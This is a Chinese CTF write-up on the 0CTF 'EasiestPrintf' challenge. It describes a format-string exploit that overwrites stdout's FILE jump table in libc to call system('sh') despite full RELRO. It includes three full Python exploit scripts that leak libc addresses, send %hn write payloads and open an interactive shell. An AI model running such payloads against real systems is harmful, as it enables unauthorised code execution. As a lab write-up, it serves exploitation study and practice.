0CTF-EasiestPrintf真的很easy

来源:互联网 发布:个人博客网站源码 编辑:程序博客网 时间:2024/06/02 13:12

这次给大家带来的是0CTF中的一题EasiestPrintf。

废话不多说,直接上题。
这里写图片描述
可以看到开了很多保护。其中full relro说明got表不可修改。(我也是看别人写的,没有实践过,大家可以试着去改下got表)
前面的老套路就不说了。
IDA查看反汇编。
这里写图片描述
这里写图片描述
漏洞就在这两个函数里,而且都是格式化字符串漏洞。
这里写图片描述
但是有一点我们可以观察到,在第二个printf之后直接调用了exit()函数,程序直接退出,这就有点不寻常了,通常我们通过格式化漏洞修改返回地址或什么的,达到控制程序流的目的,但是这里在执行完printf之后没有空间在让我们执行其它的命令。
其实这有就涉及到格式化漏洞的关键问题:往哪写,写什么的问题了。
刚开始一点思路也没有。于是上网搜了下。看到一位大神的分析,大家可以看看。

https://xianzhi.aliyun.com/forum/read/1452.html

这个思路很不错。而且实现起来也比较容易。但是我在复现脚本的时候,却怎么也调不通丫。
文中提到了printf函数也会有__kernel_vsyscal调用,提示我们做好相关的内存布局,我觉得问题就是出在这里,于是我便一步步的挖掘深入,看看究竟是在何时进行了__kernel_vsyscal的调用。
这里写图片描述
经过大量的调试发现printf函数只要是通过_IO_vfprintf函数进行写操作(不知道说的准不准确,也就是说通过调用这个函数,相应的地址就被我们给修改了)
这里写图片描述
一路走过。我们来到了这里。下一个call就是__kernel_vsyscal调用。此时的__kernel_vsyscal已经被我所修改。
那么这就产生一个问题。我本意是想通过exit中的__kernel_vsyscal调用来达到控制栈的目的.但是现在在printf中,我无法正常的返回.因此我觉得这种方法不可取..
附上一个错误的脚本.

from zio import *import timeimport structtarget=('127.0.0.1', 10000)#target=('124.42.117.57',8885)io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))c2=raw_input('go?')io.read_until('Which address you wanna read:')io.writeline('134520776')#print_gottest=io.read(15)printf_libc=int(test[0:11],16)libc_base=printf_libc-0x0004D410 _write=libc_base+0xdafe0 #guan jian diao yong syscallduan1=libc_base+0x6DF20syscall=printf_libc-0x4DAC0rop_addr=libc_base+0x00073430     #add esp 30hbin_=libc_base+0x0016084Clen1=(rop_addr & 0xff) - 0x8len2=((rop_addr % 0x1000000)>>8) - len1 -0x8io.read_until('Bye')payload=l32(syscall)+l32(syscall+0x1) #test .bss  0x0804A020  #syscallpayload+='%'+str(len1)+'x'+'%7$hhn'payload+='%'+str(len2)+'x'+'%8$hn'+'..'payload+='a'*10io.writeline(payload)print 'printf_libc:',hex(printf_libc)print 'libc_base:',hex(libc_base)print 'syscall:',hex(syscall)print 'rop_addr:',hex(rop_addr)print 'bin_:',hex(bin_)print '_write',hex(_write)print 'duan1',hex(duan1)c2=raw_input('go1?')io.interact()

其实在跟进printf函数时我们会有很多的发现.
下面我主要来说说,我师父提供的思路.
这里写图片描述
我们可以看到这一段代码.它往栈上压了三个参数.如果我们可以控制[ecx+0x1c]对应的函数,以及esi,edx,eax那么我们便可以调用system函数。
这里写图片描述
此时的寄存器和stack如上图。第一个参数为stdout的值esi,ecx对应的都是libc中函数,我们可以查看一下是否可以修改。可以修改,我们通过向上查找可以找到对应的地址。
这里面有很多的小细节,如果要一一展示还是很费劲的。干脆我就一笔带过了。(实在是懒了,其实在找的过程中遇到了很多问题,自己也总结了一些调试的小技巧,但是由于当时的脚本没有备份,我也就懒得再去把错误的展示出来了)。
这里我主要就一个地方加以说明。
这里写图片描述
就是这个函数,刚开始我认为这个函数就是写地址的,不需要跟进。但后来发现我们所修改的一个指针和其能否完成地址的写入密切相关。于是在脚本中,我调整了写入的顺序,将指针的修改放在了最后(这其中也有部分原因是我看了师傅的脚本启发的)。在跟进这个函数中可以说花了很多时间。
总之,我们能够控制call [ecx+0x1c]时的参数了。这样差不多就大工告成了。
最后在call时参数如图。
这里写图片描述

这里写图片描述

这里写图片描述

这道题花了我很多时间去调试,收获很多,知道了如何更高效的调试,libc中如何调用函数,以及可利用的代码的特征。(说的很少,更多的要去体会,实践)
最后贴上自己和师傅的exp:

Myshell.py:(有些调试过程在py中会有体现)from zio import *import structimport timetarget=('127.0.0.1',10000)io=zio(target,timeout=10000,print_read=COLORED(RAW,'red'),print_write=COLORED(RAW,'green'))c2=raw_input('go?')io.read_until('Which address you wanna read:')io.writeline('134520776')#print_gottest=io.read(15)printf_libc=int(test[0:11],16)libc_base=printf_libc-0x0004D410 system=libc_base+0x00040310 bin_=libc_base+0x0016084Cfile_jump=libc_base+0x1AAAA0stdout=libc_base+0x1ABAC0duan_ecx1=libc_base+0x4870Dfp_file_jump_ecx=libc_base+0x1ABB54fp_file_jump=libc_base+0x1ABB50fp_file_jump_ecx_write=fp_file_jump-0x1cfp_file_jump_write=system_IO_vfprintf=libc_base+0x48696#wenti=libc_base+0x46EE3#wenti2=libc_base+0x46C31#wenti3=libc_base+0x4772B  #zhe li you wen ti#wenti4=libc_base+0x44DEFfp_file_jump_write_len1=(fp_file_jump_write & 0xffff) -0x14fp_file_jump_write_len2=0x100000 + (fp_file_jump_write / 0x10000) - fp_file_jump_write_len1 - 0x14sh_write_len1=(0x156873) - fp_file_jump_write_len1 - fp_file_jump_write_len2 -0x14sh_write_len2=0x200000 - fp_file_jump_write_len1 - fp_file_jump_write_len2 - sh_write_len1 -0x14fp_file_jump_ecx_write_len1=(fp_file_jump_ecx_write % 0x1000000) - fp_file_jump_write_len1 - fp_file_jump_write_len2 - sh_write_len1 - sh_write_len2 - 0x14#fp_file_jump_ecx_write_len2=(fp_file_jump_ecx_write )#payload=l32(0x0804A030)+l32(0x0804A030+0x2)+l32(0x0804A030+0x4)+l32(0x0804A030+0x6)+l32(0x0804A030+0x8)payload=l32(fp_file_jump)+l32(fp_file_jump+0x2)+l32(stdout)+l32(stdout+0x2)+l32(fp_file_jump_ecx)payload+='%'+str(fp_file_jump_write_len1)+'x%7$hn'payload+='%'+str(fp_file_jump_write_len2)+'x%8$hn'payload+='%'+str(sh_write_len1)+'x%9$hn'payload+='%'+str(sh_write_len2)+'x%10$hn'payload+='%'+str(fp_file_jump_ecx_write_len1)+'x%11$hn'#payload+='%'+str(fp_file_jump_write_len2)+'x%10$hn'payload+='a'*(0x30-len(payload))io.read_until('Bye')io.writeline(payload)#print 'wenti4:',hex(wenti4)#print 'wenti3:',hex(wenti3)#print 'wenti2:',hex(wenti2)#print 'wenti:',hex(wenti)print 'fp_file_jump:',hex(fp_file_jump)print 'fp_file_jump_write:',hex(fp_file_jump_write)print 'fp_file_jump_ecx:',hex(fp_file_jump_ecx)print 'fp_file_jump_ecx_write:',hex(fp_file_jump_ecx_write)print '_IO_vfprintf:',hex(_IO_vfprintf)#print 'fp_file_jump:',hex(fp_file_jump)  #ke xiu gaiprint 'duan_ecx1:',hex(duan_ecx1)print 'stdout:',hex(stdout)print 'file_jump:',hex(file_jump)print 'libc_base:',hex(libc_base)print 'system:',hex(system)print 'bin_:',hex(bin_)c2=raw_input('go1?')io.interact()

shifu.py:from zio import *import timeimport structtarget=('127.0.0.1',10000)io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))c2=raw_input('go?')io.read_until('Which address you wanna read:')io.writeline(str(0x08049FC4))io.read_until('0x')test=io.read(8)read=int(test,16)libc=read-0xDAF60duandian=libc+0x6F3CDfp=libc+0x1ABB54fake=libc+0x1ABB34duan2=libc+0x48727stdout=libc+0x1ABAC0fp2=libc+0x1ABB50wenti=libc+0x46EE3_IO_vfprintf=libc+0x48696system=libc+0x40310systeml=system%0x10000systemh=system/0x10000+0x10000-systemlsh=0x6873+0x20000-(systemh+systeml)end=0x30000-(systemh+systeml+sh)fakel=fake%0x10000+0x40000-(systemh+systeml+sh+end)payload=''payload+='%'+str(systeml)+'x'payload+='%27$hn'payload+='%'+str(systemh)+'x'payload+='%28$hn'payload+='%'+str(sh)+'x'payload+='%29$hn'payload+='%'+str(end)+'x'payload+='%30$hn'payload+='%'+str(fakel)+'x'payload+='%31$hn'payload+='2'*(0x50-len(payload))payload+=l32(fp2)payload+=l32(fp2+2)payload+=l32(stdout)payload+=l32(stdout+2)payload+=l32(fp)io.read_until('Good Bye')io.writeline(payload)print hex(libc)print '_IO_vfprintf:',hex(_IO_vfprintf)print 'wenti',hex(wenti)print 'fp',hex(fp)print 'fp2',hex(fp2)print 'fake',hex(fake)print 'fakel',hex(fakel)print 'duandian',hex(duandian)print 'duan2',hex(duan2)print 'stdout',hex(stdout)print 'system',hex(system)print 'sh',hex(sh)print 'end',hex(end)c2=raw_input('go2?')io.interact()

补充:经过测试这种直接对printf进行劫持的利用方法在其它题目中也同样适用。我拿ISCC的pwn1试了一下,很快就拿到shell了。大家也可以自己去测试一下。

原创粉丝点击